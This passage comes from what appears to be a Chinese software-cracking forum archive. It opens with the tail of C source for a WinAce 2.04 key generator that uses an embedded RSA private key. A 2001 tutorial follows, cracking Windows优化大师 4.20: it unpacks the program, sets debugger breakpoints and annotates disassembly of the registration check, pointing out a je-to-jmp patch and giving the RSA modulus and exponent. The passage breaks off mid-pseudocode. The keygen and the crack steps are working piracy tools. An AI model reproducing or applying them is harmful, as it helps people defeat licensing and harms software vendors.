nibble_L = buf[i * 2 + 1] - CheckBound( buf[i * 2 +1] );
tByte = nibble_H * 16 + nibble_L;
( *x ) <<= 8;
( *x ) |= tByte;
}
}

void StoreDd( char *buf, DWORD x )
{
int i, j;
BYTE nibble_H = 0;
BYTE nibble_L = 0;
BYTE *bx = ( BYTE* )&x;
for( i = 2, j = 0; i >= 0; i-- )
{
nibble_H = ( bx[i] & 0xF0 ) >> 4;
nibble_L = bx[i] & 0x0F;
buf[j++] = nibble_H + CheckBound( nibble_H );
buf[j++] = nibble_L + CheckBound( nibble_L );
}
}

void GenRegCode( char *regCode, char *cText )
{
int i = 2;
int j;
BYTE lmByte = 0;
DWORD X_man = 0;
char tmpBuf[30] = { 0x00 }, *p_tmpBuf = tmpBuf;
strcpy( tmpBuf, cText );
strcpy( regCode, leadingStr );
while( i++ < 0x1a )
{
for( j = 0; j < 5; j++ )
{
LoadDd( &X_man, p_tmpBuf );
X_man |= lmByte << 24;
lmByte = ( BYTE )( X_man % 0x22 );
X_man = ( X_man - lmByte ) / 0x22;
StoreDd( p_tmpBuf, X_man );
X_man &= 0;
if( j == 4 )
{
regCode[i] = ctable[lmByte];
lmByte &= 0;
}
p_tmpBuf += 6;
}
p_tmpBuf = tmpBuf;
}
}

void main( void )
{
verylong n = 0;
verylong d = 0;
verylong m = 0;
int len;
DWORD sum;
BYTE first, *pb;
char userName[30];
char userCode[50];

char tempBuf[20] = { 0x00 };
BYTE pText[60] = { 0x00 };

srand( time( NULL ) );
memset( userName, 0, 30 );
memset( userCode, 0, 50 );
fprintf( stderr, "Winace v2.04 key Generator by arbiter.\n\n" );
fprintf( stderr, "Your username : " );
gets( userName );
puts( "\n" );

/* Begin constructing the cipher text in order to have RSA */
strcpy( tempBuf, userName );
strcat( tempBuf, leadingStr );
strupr( tempBuf );
len = strlen( tempBuf );
sum = CRC32_Modify( tempBuf, len );
pb = ( BYTE* )&sum;
while( 1 )
{
first = rand() % 0xff;
if( ( pb[2] ^ first ) & 2 )
break;
}
pText[0] = first;
memcpy( pText + 3, pb, 4 );
pText[0x0b] = ( char )0xAB;
pText[0x0d] = ( char )0x36;

/* Begin RSA */
zstrtozbas( modulus_N, ( long )16, &n );
zstrtozbas( private_D, ( long )16, &d );
zultoz( ( DWORD* )pText, 4, &m );
zexpmod( m, d, n, &m );
zhconvert( m, pText, 30 );

zfree( &n );
zfree( &d );
zfree( &m );
/* End RSA */

/* Generate register Serial */
GenRegCode( userCode, pText );

fprintf( stderr, "Your userCode : %s\n", userCode );
getch();
}


Windows优化大师

标 题: 破解心得之Windows优化大师篇
发信人时空幻影
时 间:2001年11月25日
详细信息:

软件名称：Windows优化大师
版本：4.20
作者：时空幻影
时间：2001年11月25日
使用工具：TRW2000 V1.22已注册版、CASPR（脱壳工具）、PW32DSM白金版汉化版

先用CASPR脱掉WINDOWS优化大师.EXE和OCTODLL.DLL的壳，然后进入TRW2000，再进入Windows优化大师，点击“软件注册”，
然后在注册者姓名栏中填入自己的名字，按回车键，点击“取消”，就会看见注册申请码，在注册认证码的两个栏中分别随便填入一
个长度为8的十进制数。按CTRL+N激活TRW2000后，设“万能断点”BPX HMEMCPY，回车，然后按F5回到WINDOWS下，点击“注册认证”
会被拦下，输入指令BD *、PMODULE，回车，然后按F10过了几个RET后会来到如下所指的地方：

* Possible StringData Ref from Code Obj ->"
TSearchRecX"
|
:004D12C2 8B156C7E4000 mov edx, dword ptr [00407E6C]
:004D12C8 E87732F3FF call 00404544
:004D12CD 33C0 xor eax, eax
:004D12CF 55 push ebp
:004D12D0 682C164D00 push 004D162C
:004D12D5 64FF30 push dword ptr fs:[eax]
:004D12D8 648920 mov dword ptr fs:[eax], esp
:004D12DB 8D95A0FDFFFF lea edx, dword ptr [ebp+FFFFFDA0]
:004D12E1 8B861C030000 mov eax, dword ptr [esi+0000031C]
:004D12E7 E8E805F6FF call 004318D4
:004D12EC 83BDA0FDFFFF00 cmp dword ptr [ebp+FFFFFDA0], 00000000 <--停在这里
:004D12F3 751D jne 004D1312
:004D12F5 6A10 push 00000010

* Possible StringData Ref from Code Obj ->"Windows优化大师"
|
:004D12F7 B93C164D00 mov ecx, 004D163C

* Possible StringData Ref from Code Obj ->"错误！没有输入注册者姓名。" <--提示你没有输入注册者姓名
|
:004D12FC BA4C164D00 mov edx, 004D164C
:004D1301 A174C25600 mov eax, dword ptr [0056C274]
:004D1306 8B00 mov eax, dword ptr [eax]
:004D1308 E89BEBF7FF call 0044FEA8
:004D130D E9E3020000 jmp 004D15F5

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D12F3(C)
|
:004D1312 8D959CFDFFFF lea edx, dword ptr [ebp+FFFFFD9C]
:004D1318 8B86E4020000 mov eax, dword ptr [esi+000002E4]
:004D131E E8B105F6FF call 004318D4
:004D1323 83BD9CFDFFFF00 cmp dword ptr [ebp+FFFFFD9C], 00000000
:004D132A 741A je 004D1346
:004D132C 8D9598FDFFFF lea edx, dword ptr [ebp+FFFFFD98]
:004D1332 8B86E8020000 mov eax, dword ptr [esi+000002E8]
:004D1338 E89705F6FF call 004318D4
:004D133D 83BD98FDFFFF00 cmp dword ptr [ebp+FFFFFD98], 00000000
:004D1344 751D jne 004D1363

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D132A(C)
|
:004D1346 6A10 push 00000010

* Possible StringData Ref from Code Obj ->"Windows优化大师"
|
:004D1348 B93C164D00 mov ecx, 004D163C

* Possible StringData Ref from Code Obj ->"错误！没有输入注册认证码。" <--提示你没有输入注册认证码
|
:004D134D BA68164D00 mov edx, 004D1668
:004D1352 A174C25600 mov eax, dword ptr [0056C274]
:004D1357 8B00 mov eax, dword ptr [eax]
:004D1359 E84AEBF7FF call 0044FEA8
:004D135E E992020000 jmp 004D15F5

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D1344(C)
|
:004D1363 8D8DA4FEFFFF lea ecx, dword ptr [ebp+FFFFFEA4]
:004D1369 BA3F000000 mov edx, 0000003F

* Possible StringData Ref from Code Obj ->"*.*" <--查找当前目录下的所有文件
|
:004D136E B88C164D00 mov eax, 004D168C
:004D1373 E8B87EF3FF call 00409230
:004D1378 81BDA8FEFFFF00680200 cmp dword ptr [ebp+FFFFFEA8], 00026800
:004D1382 0F846D020000 je 004D15F5

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D13A9(C)
|
:004D1388 8D85A4FEFFFF lea eax, dword ptr [ebp+FFFFFEA4]
:004D138E E8ED7EF3FF call 00409280
:004D1393 85C0 test eax, eax
:004D1395 7510 jne 004D13A7
:004D1397 81BDA8FEFFFF00680200 cmp dword ptr [ebp+FFFFFEA8], 00026800
:004D13A1 0F844E020000 je 004D15F5

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D1395(C)
|
:004D13A7 85C0 test eax, eax
:004D13A9 74DD je 004D1388
:004D13AB 8D85A4FEFFFF lea eax, dword ptr [ebp+FFFFFEA4]
:004D13B1 E8EE7EF3FF call 004092A4
:004D13B6 6A00 push 00000000
:004D13B8 8BC6 mov eax, esi
:004D13BA E87566F6FF call 00437A34
:004D13BF 50 push eax

* Reference To: user32.GetWindow, Ord:0000h
|
:004D13C0 E81762F3FF Call 004075DC
:004D13C5 8BD8 mov ebx, eax
:004D13C7 85DB test ebx, ebx
:004D13C9 0F848A000000 je 004D1459

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D1453(C)
|
:004D13CF 68FF000000 push 000000FF
:004D13D4 8D85A5FDFFFF lea eax, dword ptr [ebp+FFFFFDA5]
:004D13DA 50 push eax
:004D13DB 53 push ebx

* Reference To: user32.GetWindowTextA, Ord:0000h <--调用WIN32 API函数GetWindowTextA取得标题栏上的字符串
|
:004D13DC E82362F3FF Call 00407604
:004D13E1 85C0 test eax, eax
:004D13E3 7E62 jle 004D1447
:004D13E5 8D55FC lea edx, dword ptr [ebp-04]
:004D13E8 8D85A5FDFFFF lea eax, dword ptr [ebp+FFFFFDA5]
:004D13EE E8B584F3FF call 004098A8
:004D13F3 8B55FC mov edx, dword ptr [ebp-04]

* Possible StringData Ref from Code Obj ->"注册机"
|
:004D13F6 B898164D00 mov eax, 004D1698
:004D13FB E8242EF3FF call 00404224 <--检查字符串中是否含有"注册机"
:004D1400 85C0 test eax, eax
:004D1402 0F85ED010000 jne 004D15F5 <--不应该跳转
:004D1408 8B55FC mov edx, dword ptr [ebp-04]

* Possible StringData Ref from Code Obj ->"wom"
|
:004D140B B8A8164D00 mov eax, 004D16A8
:004D1410 E80F2EF3FF call 00404224 <--检查字符串中是否含有"wom"
:004D1415 85C0 test eax, eax
:004D1417 0F85D8010000 jne 004D15F5 <--不应该跳转
:004D141D 8B55FC mov edx, dword ptr [ebp-04]

* Possible StringData Ref from Code Obj ->"cr-wom"
|
:004D1420 B8B4164D00 mov eax, 004D16B4
:004D1425 E8FA2DF3FF call 00404224 <--检查字符串中是否含有"cr-wom"
:004D142A 85C0 test eax, eax
:004D142C 0F85C3010000 jne 004D15F5 <--不应该跳转
:004D1432 8B55FC mov edx, dword ptr [ebp-04]

* Possible StringData Ref from Code Obj ->"Windowsyhds"
|
:004D1435 B8C4164D00 mov eax, 004D16C4
:004D143A E8E52DF3FF call 00404224 <--检查字符串中是否含有"Windowsyhds"
:004D143F 85C0 test eax, eax
:004D1441 0F85AE010000 jne 004D15F5 <--不应该跳转

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D13E3(C)
|
:004D1447 6A02 push 00000002
:004D1449 53 push ebx

* Reference To: user32.GetWindow, Ord:0000h
|
:004D144A E88D61F3FF Call 004075DC
:004D144F 8BD8 mov ebx, eax
:004D1451 85DB test ebx, ebx
:004D1453 0F8576FFFFFF jne 004D13CF

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D13C9(C)
|
:004D1459 B811270000 mov eax, 00002711

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D145F(C)
|
:004D145E 48 dec eax
:004D145F 75FD jne 004D145E <--这可能是软件作者故意加的，以提高难度，不过却实在不敢恭维！
:004D1461 8D9594FDFFFF lea edx, dword ptr [ebp+FFFFFD94] <--其实只要把光条移到该行，然后按F7即可！
:004D1467 8B86E4020000 mov eax, dword ptr [esi+000002E4]
:004D146D E86204F6FF call 004318D4
:004D1472 8B8594FDFFFF mov eax, dword ptr [ebp+FFFFFD94]
:004D1478 E81BFDFFFF call 004D1198 <--把输入的Regcode1转化为一个十六进制的32位数，并送入到EAX中！
:004D147D 99 cdq
:004D147E 52 push edx
:004D147F 50 push eax
:004D1480 8D9590FDFFFF lea edx, dword ptr [ebp+FFFFFD90]
:004D1486 8B86E8020000 mov eax, dword ptr [esi+000002E8]
:004D148C E84304F6FF call 004318D4
:004D1491 8B8590FDFFFF mov eax, dword ptr [ebp+FFFFFD90]
:004D1497 E8FCFCFFFF call 004D1198 <--把输入的Regcode2转化为一个十六进制的32位数，并送入到EAX中！
:004D149C 99 cdq
:004D149D 52 push edx
:004D149E 50 push eax
:004D149F 8D958CFDFFFF lea edx, dword ptr [ebp+FFFFFD8C]
:004D14A5 8B86E0020000 mov eax, dword ptr [esi+000002E0]
:004D14AB E82404F6FF call 004318D4
:004D14B0 8B858CFDFFFF mov eax, dword ptr [ebp+FFFFFD8C] <--EAX中为注册申请码的首地址
:004D14B6 E8412CF3FF call 004040FC

* Reference To: Octodll.Registed, Ord:0000h
|
:004D14BB E8D0FCFFFF Call 004D1190 <--核心CALL，按F8进入Octodll.dll
:004D14C0 83F814 cmp eax, 00000014 <--比较第二部分的计算结果的低16位是否等于14
:004D14C3 7417 je 004D14DC <--是的话则跳转，如果要暴破的话，把这里的je改成jmp即可
:004D14C5 B811270000 mov eax, 00002711

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D14CB(C)
|
:004D14CA 48 dec eax
:004D14CB 75FD jne 004D14CA
:004D14CD A114E05600 mov eax, dword ptr [0056E014]
:004D14D2 E88DB5F7FF call 0044CA64
:004D14D7 E919010000 jmp 004D15F5

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D14C3(C)
|
:004D14DC B201 mov dl, 01
:004D14DE A1787F4500 mov eax, dword ptr [00457F78]
:004D14E3 E8906BF8FF call 00458078
:004D14E8 8BD8 mov ebx, eax
:004D14EA BA02000080 mov edx, 80000002
:004D14EF 8BC3 mov eax, ebx
:004D14F1 E8226CF8FF call 00458118
:004D14F6 B101 mov cl, 01

* Possible StringData Ref from Code Obj ->"Software\Wom"
|
:004D14F8 BAD8164D00 mov edx, 004D16D8
:004D14FD 8BC3 mov eax, ebx
:004D14FF E8586DF8FF call 0045825C
:004D1504 8D9588FDFFFF lea edx, dword ptr [ebp+FFFFFD88]
:004D150A 8B861C030000 mov eax, dword ptr [esi+0000031C]
:004D1510 E8BF03F6FF call 004318D4
:004D1515 8B8D88FDFFFF mov ecx, dword ptr [ebp+FFFFFD88]

* Possible StringData Ref from Code Obj ->"Register"
|
:004D151B BAF0164D00 mov edx, 004D16F0
:004D1520 8BC3 mov eax, ebx
:004D1522 E88572F8FF call 004587AC
:004D1527 8D9584FDFFFF lea edx, dword ptr [ebp+FFFFFD84]
:004D152D 8B86E4020000 mov eax, dword ptr [esi+000002E4]
:004D1533 E89C03F6FF call 004318D4
:004D1538 8B8D84FDFFFF mov ecx, dword ptr [ebp+FFFFFD84]

* Possible StringData Ref from Code Obj ->"Register_1"
|
:004D153E BA04174D00 mov edx, 004D1704
:004D1543 8BC3 mov eax, ebx
:004D1545 E86272F8FF call 004587AC
:004D154A 8D9580FDFFFF lea edx, dword ptr [ebp+FFFFFD80]
:004D1550 8B86E8020000 mov eax, dword ptr [esi+000002E8]
:004D1556 E87903F6FF call 004318D4
:004D155B 8B8D80FDFFFF mov ecx, dword ptr [ebp+FFFFFD80]

* Possible StringData Ref from Code Obj ->"Register_2"
|
:004D1561 BA18174D00 mov edx, 004D1718
:004D1566 8BC3 mov eax, ebx
:004D1568 E83F72F8FF call 004587AC
:004D156D 8BC3 mov eax, ebx
:004D156F E8746BF8FF call 004580E8
:004D1574 8BC3 mov eax, ebx
:004D1576 E8F119F3FF call 00402F6C
:004D157B A138C45600 mov eax, dword ptr [0056C438]
:004D1580 8B00 mov eax, dword ptr [eax]
:004D1582 8B8064050000 mov eax, dword ptr [eax+00000564]

* Possible StringData Ref from Code Obj ->"Windows优化大师 V4.2 (已注册)"
|
:004D1588 BA2C174D00 mov edx, 004D172C
:004D158D E87203F6FF call 00431904
:004D1592 A138C45600 mov eax, dword ptr [0056C438]
:004D1597 8B00 mov eax, dword ptr [eax]
:004D1599 8B806C030000 mov eax, dword ptr [eax+0000036C]

* Possible StringData Ref from Code Obj ->"网上升级"
|
:004D159F BA54174D00 mov edx, 004D1754
:004D15A4 E85B03F6FF call 00431904
:004D15A9 B201 mov dl, 01
:004D15AB A1787F4500 mov eax, dword ptr [00457F78]
:004D15B0 E8C36AF8FF call 00458078
:004D15B5 8BD8 mov ebx, eax
:004D15B7 BA02000080 mov edx, 80000002
:004D15BC 8BC3 mov eax, ebx
:004D15BE E8556BF8FF call 00458118
:004D15C3 B101 mov cl, 01

* Possible StringData Ref from Code Obj ->"Software\Wom"
|
:004D15C5 BAD8164D00 mov edx, 004D16D8
:004D15CA 8BC3 mov eax, ebx
:004D15CC E88B6CF8FF call 0045825C

* Possible StringData Ref from Code Obj ->"Masters"
|
:004D15D1 BA68174D00 mov edx, 004D1768
:004D15D6 8BC3 mov eax, ebx
8:004D15D8 E81B6FF8FF call 004584F8
:004D15DD 8BC3 mov eax, ebx
:004D15DF E8046BF8FF call 004580E8
:004D15E4 8BC3 mov eax, ebx
:004D15E6 E88119F3FF call 00402F6C
:004D15EB A114E05600 mov eax, dword ptr [0056E014]
:004D15F0 E86FB4F7FF call 0044CA64

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004D130D(U), :004D135E(U), :004D1382(C), :004D13A1(C), :004D1402(C)
|:004D1417(C), :004D142C(C), :004D1441(C), :004D14D7(U)
|
:004D15F5 33C0 xor eax, eax
:004D15F7 5A pop edx
:004D15F8 59 pop ecx
:004D15F9 59 pop ecx
:004D15FA 648910 mov dword ptr fs:[eax], edx
:004D15FD 6833164D00 push 004D1633

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D1631(U)
|
:004D1602 8D8580FDFFFF lea eax, dword ptr [ebp+FFFFFD80]
:004D1608 BA09000000 mov edx, 00000009
:004D160D E8CA26F3FF call 00403CDC
:004D1612 8D85A4FEFFFF lea eax, dword ptr [ebp+FFFFFEA4]

* Possible StringData Ref from Code Obj ->"
TSearchRecX"
|
:004D1618 8B156C7E4000 mov edx, dword ptr [00407E6C]
:004D161E E8ED2FF3FF call 00404610
:004D1623 8D45FC lea eax, dword ptr [ebp-04]
:004D1626 E88D26F3FF call 00403CB8
:004D162B C3 ret

//--------------------------------------------------------------------------------------------------
在上面的核心CALL中按F8进入后，会来到如下地方（注意：由于代码在DLL中，所以地址与内存中的地址会有所不同）：
:004043AC 55 push ebp
:004043AD 68FE434000 push 004043FE
:004043B2 64FF30 push dword ptr fs:[eax]
:004043B5 648920 mov dword ptr fs:[eax], esp
:004043B8 8B4510 mov eax, dword ptr [ebp+10]
:004043BB 8945F8 mov dword ptr [ebp-08], eax
:004043BE 8B4508 mov eax, dword ptr [ebp+08]
:004043C1 8945FC mov dword ptr [ebp-04], eax
:004043C4 8D45F0 lea eax, dword ptr [ebp-10]
:004043C7 8BD3 mov edx, ebx
:004043C9 E876EBFFFF call 00402F44 <--处理申请注册码
:004043CE 8B45F0 mov eax, dword ptr [ebp-10]
:004043D1 8D55F6 lea edx, dword ptr [ebp-0A]
:004043D4 8D4DF8 lea ecx, dword ptr [ebp-08]
:004043D7 E8FCFDFFFF call 004041D8 <--进行注册码计算的核心CALL，按F8进入
:004043DC 85C0 test eax, eax
:004043DE 7504 jne 004043E4 <--一定要跳转
:004043E0 33DB xor ebx, ebx
:004043E2 EB04 jmp 004043E8

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040437D(C), :004043DE(C)
|
:004043E4 0FB75DF6 movzx ebx, word ptr [ebp-0A] <--把第二部分的计算结果的低16位送到EBX中

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004043E2(U)
|
:004043E8 33C0 xor eax, eax
:004043EA 5A pop edx
:004043EB 59 pop ecx
:004043EC 59 pop ecx
:004043ED 648910 mov dword ptr fs:[eax], edx
:004043F0 6805444000 push 00404405

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404403(U)
|
:004043F5 8D45F0 lea eax, dword ptr [ebp-10]
:004043F8 E85FEAFFFF call 00402E5C
:004043FD C3 ret

:004043FE E9D5E4FFFF jmp 004028D8
:00404403 EBF0 jmp 004043F5
:00404405 8BC3 mov eax, ebx <--把第二部分的计算结果的低16位送到EAX中
:00404407 5B pop ebx
:00404408 8BE5 mov esp, ebp
:0040440A 5D pop ebp
:0040440B C21000 ret 0010

//--------------------------------------------------------------------------------------------------
在上面的核心CALL按F8进入后，会来到如下地方：
:004041D8 55 push ebp
:004041D9 8BEC mov ebp, esp
:004041DB 83C4DC add esp, FFFFFFDC
:004041DE 53 push ebx
:004041DF 56 push esi
:004041E0 57 push edi
:004041E1 33DB xor ebx, ebx
:004041E3 895DEC mov dword ptr [ebp-14], ebx
:004041E6 8BF1 mov esi, ecx
:004041E8 8D7DF0 lea edi, dword ptr [ebp-10]
:004041EB A5 movsd <--把输入的注册码的第一部分的32位十六进制数送到EDI所指向的内存中
:004041EC A5 movsd <--把输入的注册码的第二部分的32位十六进制数送到EDI所指向的内存中
:004041ED 8955F8 mov dword ptr [ebp-08], edx
:004041F0 8945FC mov dword ptr [ebp-04], eax
:004041F3 8B45FC mov eax, dword ptr [ebp-04]
:004041F6 E8C5EDFFFF call 00402FC0
:004041FB 33C0 xor eax, eax
:004041FD 55 push ebp
:004041FE 685F434000 push 0040435F
:00404203 64FF30 push dword ptr fs:[eax]
:00404206 648920 mov dword ptr fs:[eax], esp
:00404209 8D45EC lea eax, dword ptr [ebp-14]

* Possible StringData Ref from Code Obj ->"You are big pig."
|
:0040420C BA78434000 mov edx, 00404378
:00404211 E8AEECFFFF call 00402EC4
:00404216 8B45FC mov eax, dword ptr [ebp-04]
:00404219 E856EDFFFF call 00402F74
:0040421E 2507000080 and eax, 80000007
:00404223 7905 jns 0040422A
:00404225 48 dec eax
:00404226 83C8F8 or eax, FFFFFFF8
:00404229 40 inc eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404223(C)
|
:0040422A 85C0 test eax, eax
:0040422C 742C je 0040425A
:0040422E 8D45FC lea eax, dword ptr [ebp-04]

* Possible StringData Ref from Code Obj ->"1234567"
|
:00404231 BA94434000 mov edx, 00404394
:00404236 E841EDFFFF call 00402F7C <--把"1234567"连接到注册申请码的后面形成新的字符串
:0040423B 8B45FC mov eax, dword ptr [ebp-04]
:0040423E E831EDFFFF call 00402F74 <--求新字符串的长度
:00404243 85C0 test eax, eax
:00404245 7903 jns 0040424A <--一般都会跳转
:00404247 83C007 add eax, 00000007

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404245(C)
|
:0040424A C1F803 sar eax, 03
:0040424D 8BD0 mov edx, eax
:0040424F C1E203 shl edx, 03
:00404252 8D45FC lea eax, dword ptr [ebp-04]
:00404255 E8AEEDFFFF call 00403008 <--截断新字符串，使其长度位8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040422C(C)
|
:0040425A 33F6 xor esi, esi
:0040425C 8D45FC lea eax, dword ptr [ebp-04]
:0040425F E86CEDFFFF call 00402FD0
:00404264 8BF8 mov edi, eax
:00404266 8D45EC lea eax, dword ptr [ebp-14]
:00404269 E862EDFFFF call 00402FD0 <--拷贝字符串"You are big pig."到EAX所指的内存中
:0040426E 8BD8 mov ebx, eax
:00404270 EB30 jmp 004042A2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004042B6(C)
|
:00404272 8B04B7 mov eax, dword ptr [edi+4*esi]
:00404275 8945E4 mov dword ptr [ebp-1C], eax
:00404278 8B44B704 mov eax, dword ptr [edi+4*esi+04]
:0040427C 8945E8 mov dword ptr [ebp-18], eax
:0040427F 8BD3 mov edx, ebx
:00404281 8D45E4 lea eax, dword ptr [ebp-1C]
:00404284 E8E7FEFFFF call 00404170 <--按F8进入，编号为（1）
:00404289 8B03 mov eax, dword ptr [ebx]
:0040428B 894308 mov dword ptr [ebx+08], eax
:0040428E 8B4304 mov eax, dword ptr [ebx+04]
:00404291 89430C mov dword ptr [ebx+0C], eax
:00404294 8B45E4 mov eax, dword ptr [ebp-1C] <--计算结果的第一部分送入EAX中
:00404297 8903 mov dword ptr [ebx], eax
:00404299 8B45E8 mov eax, dword ptr [ebp-18] <--计算结果的第二部分送入EAX中
:0040429C 894304 mov dword ptr [ebx+04], eax
:0040429F 83C602 add esi, 00000002

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404270(U)
|
:004042A2 8B45FC mov eax, dword ptr [ebp-04]
:004042A5 E8CAECFFFF call 00402F74 <--取注册申请码的长度
:004042AA 85C0 test eax, eax
:004042AC 7903 jns 004042B1 <--会跳转
:004042AE 83C003 add eax, 00000003

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004042AC(C)
|
:004042B1 C1F802 sar eax, 02
:004042B4 3BF0 cmp esi, eax
:004042B6 72BA jb 00404272 <--会跳转
:004042B8 8B45F0 mov eax, dword ptr [ebp-10] <--输入注册码的第一部分的32位十六进制数送到EAX中
:004042BB 33D2 xor edx, edx
:004042BD 52 push edx <--输入注册码的第一部分的高32位入栈（恒为0）
:004042BE 50 push eax <--输入注册码的第一部分的低32位入栈
:004042BF FF35D0504000 push dword ptr [004050D0] <--RSA中加密密钥e的高32位（0）
:004042C5 FF35CC504000 push dword ptr [004050CC] <--RSA中加密密钥e的低32位（0x3B442AF9）
:004042CB FF35D8504000 push dword ptr [004050D8] <--RSA中n的高32位（0）
:004042D1 FF35D4504000 push dword ptr [004050D4] <--RSA中n的低位（0x69AAA0E3）
:004042D7 E8DCFDFFFF call 004040B8 <--按F8进入，编号为（2）
:004042DC 83E802 sub eax, 00000002 <--结果减去2
:004042DF 8945DC mov dword ptr [ebp-24], eax <--保存第一部分的计算结果
:004042E2 8B45F4 mov eax, dword ptr [ebp-0C] <--输入注册码的第二部分的32位十六进制数送到EAX中
:004042E5 33D2 xor edx, edx
:004042E7 52 push edx <--输入注册码的第二部分的高32位入栈（恒为0）
:004042E8 50 push eax <--输入注册码的第二部分的低32位入栈
:004042E9 FF35D0504000 push dword ptr [004050D0] <--RSA中加密密钥e的高32位（0）
:004042EF FF35CC504000 push dword ptr [004050CC] <--RSA中加密密钥e的低32位（0x3B442AF9）
:004042F5 FF35D8504000 push dword ptr [004050D8] <--RSA中n的高32位（0）
:004042FB FF35D4504000 push dword ptr [004050D4] <--RSA中n的低位（0x69AAA0E3）
:00404301 E8B2FDFFFF call 004040B8 <--按F8进入，编号为（2）
:00404306 83E802 sub eax, 00000002 <--结果减去2
:00404309 8945E0 mov dword ptr [ebp-20], eax <--保存第二部分的计算结果
:0040430C C165DC02 shl dword ptr [ebp-24], 02 <--第一部分的计算结果向左移2位
:00404310 8D4DDC lea ecx, dword ptr [ebp-24]
:00404313 8B01 mov eax, dword ptr [ecx] <--第一部分的计算结果送EAX
:00404315 8B5104 mov edx, dword ptr [ecx+04] <--第二部分的计算结果送EDX
:00404318 0FACD002 shrd eax, edx, 02 <--这条和下面一条完成64位环形向右移2位
:0040431C C1EA02 shr edx, 02
:0040431F 8901 mov dword ptr [ecx], eax <--保存第一部分的计算结果
:00404321 895104 mov dword ptr [ecx+04], edx <--保存第二部分的计算结果
:00404324 8B45DC mov eax, dword ptr [ebp-24] <--第一部分的计算结果送EAX
:00404327 3B45E4 cmp eax, dword ptr [ebp-1C] <--比较输入注册码第一部分的计算结果是否等于注册
申请码计算结果的第一部分
:0040432A 7404 je 00404330 <--应该跳转
:0040432C 33DB xor ebx, ebx
:0040432E EB11 jmp 00404341

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040432A(C)
|
:00404330 668B45E0 mov ax, word ptr [ebp-20] <--把第二部分的计算结果的低16位送AX
:00404334 6625FFFF and ax, FFFF
:00404338 8B55F8 mov edx, dword ptr [ebp-08]
:0040433B 668902 mov word ptr [edx], ax <--保存第二部分的计算结果的低16位
:0040433E 83CBFF or ebx, FFFFFFFF

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040432E(U)
|
:00404341 33C0 xor eax, eax
:00404343 5A pop edx
:00404344 59 pop ecx
:00404345 59 pop ecx
:00404346 648910 mov dword ptr fs:[eax], edx
:00404349 6866434000 push 00404366

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404364(U)
|
:0040434E 8D45EC lea eax, dword ptr [ebp-14]
:00404351 E806EBFFFF call 00402E5C
:00404356 8D45FC lea eax, dword ptr [ebp-04]
:00404359 E8FEEAFFFF call 00402E5C
:0040435E C3 ret

//--------------------------------------------------------------------------------------------------
在上面的编号为（1）的CALL按F8进入后会来到如下地方（对注册申请码和字符串"You are big pig."进行计算）：
* Referenced by a CALL at Address:
|:00404284
|
:00404170 53 push ebx
:00404171 56 push esi
:00404172 57 push edi
:00404173 51 push ecx
:00404174 890424 mov dword ptr [esp], eax
:00404177 B820000000 mov eax, 00000020 <--该过程使下面的循环进行0x20次
:0040417C 8B0C24 mov ecx, dword ptr [esp]
:0040417F 8B09 mov ecx, dword ptr [ecx] <--将注册申请码的高16位送入ECX中
:00404181 8B1C24 mov ebx, dword ptr [esp]
:00404184 8B5B04 mov ebx, dword ptr [ebx+04] <--将注册申请码的低16位送入ECX中
:00404187 33F6 xor esi, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004041C5(C)
|
:00404189 48 dec eax
:0040418A 0335C8504000 add esi, dword ptr [004050C8] <--[004050C8]中初始值为0x9E3779B9
:00404190 8BFB mov edi, ebx
:00404192 C1E704 shl edi, 04
:00404195 03CF add ecx, edi
:00404197 8B3A mov edi, dword ptr [edx] <--EDX为指向字符串"You are big pig."的首地址
:00404199 33FB xor edi, ebx
:0040419B 03CF add ecx, edi
:0040419D 8BFB mov edi, ebx
:0040419F C1EF05 shr edi, 05
:004041A2 33FE xor edi, esi
:004041A4 03CF add ecx, edi
:004041A6 034A04 add ecx, dword ptr [edx+04]
:004041A9 8BF9 mov edi, ecx
:004041AB C1E704 shl edi, 04
:004041AE 03DF add ebx, edi
:004041B0 8B7A08 mov edi, dword ptr [edx+08]
:004041B3 33F9 xor edi, ecx
:004041B5 03DF add ebx, edi
:004041B7 8BF9 mov edi, ecx
:004041B9 C1EF05 shr edi, 05
:004041BC 33FE xor edi, esi
:004041BE 03DF add ebx, edi
:004041C0 035A0C add ebx, dword ptr [edx+0C]
:004041C3 85C0 test eax, eax
:004041C5 77C2 ja 00404189
:004041C7 8B0424 mov eax, dword ptr [esp]
:004041CA 8908 mov dword ptr [eax], ecx
:004041CC 8B0424 mov eax, dword ptr [esp]
:004041CF 895804 mov dword ptr [eax+04], ebx
:004041D2 5A pop edx
:004041D3 5F pop edi
:004041D4 5E pop esi
:004041D5 5B pop ebx
:004041D6 C3 ret

//--------------------------------------------------------------------------------------------------
编号为（2）的CALL实际上等价下面的伪C代码（摘自论坛精华III中dr0的《Windows优化大师v2.9+的注册码加密算法》）：
ReturnValueType encrypt_decrypt(m, e, n)
{
LocalVariables a, b, c;

a = m;
b = e;
c = 1;

while(b)
{
if ((b mod 2) == 0)
{
b = b / 2; //降阶
a = (a * a) mod n;
}
else
{
b = b - 1;
